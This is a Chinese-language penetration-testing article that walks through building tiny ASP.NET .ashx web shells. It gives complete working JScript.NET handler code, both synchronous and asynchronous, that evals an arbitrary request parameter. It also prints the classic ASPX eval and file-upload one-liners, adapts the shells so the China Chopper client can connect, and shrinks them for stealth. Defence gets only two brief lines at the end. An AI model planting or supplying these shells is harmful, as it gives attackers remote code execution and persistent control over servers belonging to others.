0x01 前言
在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句
<%@Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。
<%if(Request.Files.Count!=0) {Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用,所以不能说是一句话木马了,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 ashx的运行过程。
0x02 简介
从Asp.Net 2.0开始,Asp.Net提供了称为一般处理程序的处理程序,允许我们使用比较简单的方式定义扩展名为ashx的专用处理程序。对于Asp.Net应用来说,网站最快的处理结果就是HTML网页,生成网页的工作通常使用扩展名为Aspx的Web窗体来完成。对于处理结果不是HTML的请求,都可以通过一般处理程序完成。例如生成RSS Feed、XML、图片等。 一般处理程序是Asp.Net应用中最为简单、高效的处理程序,在处理返回类型不是HTML的请求中有着重要的作用。通常是实现IHttpHandler接口,因为不必继承自Page类,所以没有那么多事件需要处理,不必消耗太多资源,所以性能方面要比Aspx高。
当Http请求进入 Asp.Net Runtime以后,它的管道由托管模块(NOTE:Managed Modules)和处理程序(NOTE:Handlers)组成,并且由管道来处理这个 Http请求。
HttpRuntime将Http请求转交给 HttpApplication,HttpApplication代表着程序员创建的Web应用程序。HttpApplication创建针对此Http请求的 HttpContext对象,这些对象包含了关于此请求的诸多其他对象,主要是HttpRequest、HttpResponse、HttpSessionState等。这些对象在程序中可以通过Page类或者Context类进行访问,而接下来的一句话木马就是通过Context类进行请求交互的。
0x03 一句话的实现
3.1、同步处理:IHttpHandler
首先可以打开C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\CONFIG\目录下的web.config 文件,找到httpHandlers结点,应该可以看到如下这样的代码
.Net Framework在处理Http请求时的所采用的默认Handler。而如果我们要用编程的方式来操控一个Http请求,我们就需要实现IHttpHandler接口,来定制我们自己的需求。IHttpHandler的定义是这样的:
public interface IHttpHandler
{
bool IsReusable { get; }
void ProcessRequest(HttpContext context);
}
由上面可以看出IHttpHandler要求实现一个方法和一个属性。其中 ProcessRequest,从名字(处理请求)看就知道这里应该放置我们处理请求的主要代码。IsReusable属性,MSDN上是这样解释的:获取一个值,该值指示其他请求是否可以使用 IHttpHandler 实例。也就是说后继的Http请求是不是可以继续使用实现了该接口的类的实例。如果返回true,则HttpHandler能得到重用,或许某些场合下,是可以达到性能优化的目的。但是,它也可能会引发新的问题:HttpHandler实例的一些状态会影响后续的请求,也正是由于这个原因在默认情况下,都是不重用的。在通常情况下,当实现IsReusable时返回false,虽然性能上不是最优,但却是最安全的做法。
了解了基本原理后,笔者开始手动打造一句话小马,这个马儿要和PHP或者同胞兄弟Aspx一样,仅仅在服务端存放体积很小的一段代码,参考Aspx一句话木马的实现原理,发现是基于Jscript.Net语言中的eval方法去执行任意字符串的,所以首当其冲考虑用Jscript,并且需要实现IhttpHandler这个接口,查询资料后得到在Jscript.Net和VB.Net中均采用implements去实现,最终写出一句话木马服务端代码:
<%@ WebHandler Language="JScript"class=" HandlerSpy "%>
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
functionIHttpHandler.ProcessRequest(context : HttpContext){
context.Response.Write("<H1>Just for fun, Do not abuse it!Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1> ");
eval(context.Request["Ivan"]);
}
functionget IHttpHandler.IsReusable() : Boolean{
return false;
}
}
这里有必要简单的介绍一下Jscript.Net的语法;和大多数语言类似导入命名空间也是通过Import,以下摘自微软描述
import 语句在名称提供为 namespace 的全局对象上创建属性并将其初始化,以包含对应于所导入命名空间的对象。任何使用 import 语句创建的属性都不能赋给其他对象、删除或枚举。 所有 import 语句都在脚本开始时执行。
方法名中的参数和类型之间用冒号分割 ,一对括号外的是返回的类型 。可参考下图
如果要访问类中的属性,需使用 functionget 语句,可参考下图
script简单语法就介绍到这里,更多的语法可参考微软官方文档:https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/z688wt03(v%3dvs.100)
万事俱备,打开浏览器输入 context.Response.Write(DateTime.Now.ToString())成功打印出当前时间
3.2、异步处理:IHttpAsyncHandler
在ASP.NET程序中,适当地使用异步是可以提高服务端吞吐量的。这里所说的适当地使用异步,一般是说:当服务器的压力不大且很多处理请求的执行过程被阻塞在各种I/O等待(以网络调用为主)操作上时,而采用异步来减少阻塞工作线程的一种替代同步调用的方法。 反之,如果服务器的压力已经足够大,或者没有发生各种I/O等待,那么,在此情况下使用异步是没有意义的。那么在HttpHandler的接口里要想支持异步,则必须使用另一个接口:IhttpAsyncHandler
这个接口也很简单只有二个方法,在.net中,异步都是建立在IAsyncResult接口之上的,而BeginProcessRequest /EndProcessRequest是对这个接口最直接的使用方式。笔者通过创建一个C#的Demo来演示异步处理的过程
public class ashxSpy1 : IHttpAsyncHandler
{
public delegate void someDelegate();
public static void writeFile()
{
StreamWriter wickedly =File.CreateText("d:\\test.txt");
wickedly.Write("test");
wickedly.Flush();
wickedly.Close();
}
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallbackasyncCallback, object obj )
{
someDelegatesomeDelegate = new someDelegate(writeFile);
IAsyncResultiAsyncResult = someDelegate.BeginInvoke(asyncCallback, context);
return iAsyncResult;
}
public voidEndProcessRequest(IAsyncResult result){}
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context){}
}
值得注意的是ProcessRequest方法和IsReusable属性可以不实现它们,但必须要保留下来,因为这个方法也是接口的一部分。核心方法是BeginProcessRequest,其中参数asyncCallback是一个内部委托,那么就需要定义一个委托,将来通过异步的方式回调自定义的方法writeFile 来写入文件。
知道原理后就开始着手打造异步调用的一句话木马,和IhttpHandler一样需要通过Jscript.Net的eval方法去实现代码执行,有点遗憾之处笔者查询资料后发现Jscript.Net暂时不支持委托类型,不过只需要在BeginProcessRequest方法里增加HttpContext.Current.Response.End();就可以实现功能并且不让程序抛出异常,实现的代码如下:
<%@ WebHandler Language="JScript"class="AsyncHandlerSpy"%>
import System;
import System.Web;
import System.IO;
public class AsyncHandlerSpy implementsIHttpAsyncHandler{
function IHttpAsyncHandler.BeginProcessRequest(context: HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {
context.Response.Write("<H1>Just for fun,Do not abuse it! Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(context.Request["Ivan"]);
HttpContext.Current.Response.End();
}
functionIHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}
functionIHttpHandler.ProcessRequest(context : HttpContext){}
function get IHttpHandler.IsReusable() :Boolean{return false;}
}
打开浏览器,测试效果如下
0X04 菜刀连接
圈内常说武功再高,也怕菜刀;那么就有必要了解一下菜刀在连接ASPX的时候会发送什么数据了,经过抓包得到下图的请求
对于.NET平台的应用程序默认连接后发送的可执行字符串是Response.Write,而这样的输出需要继承的对象是Page类,所以至今为止,在菜刀的层面.NET下仅支持ASPX,再来看一般处理程序中已经继承了HttpContext对象实例化后的变量context,由此可以构造出
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request["Ivan"]);
修改好后用菜刀连接成功,如下图
基于优化考虑将HandlerSpy.ashx进一步压缩体积后只有531字节,而AsyncHandlerSpy.ashx也才719字节。
0x05 防御措施
1. 通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;
2. 对于Web应用来说,尽量保证代码的安全性;
0x06 小结
1. 文章中不足之处在于Jscript异步处理的时候没有能够用委托的方式去调用,这是一个遗憾,如果有同学提出了更好的解决方法,欢迎多多交流;
2. 还有本文提供了两种方式实现ashx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;
3. 文章的代码片段请点这里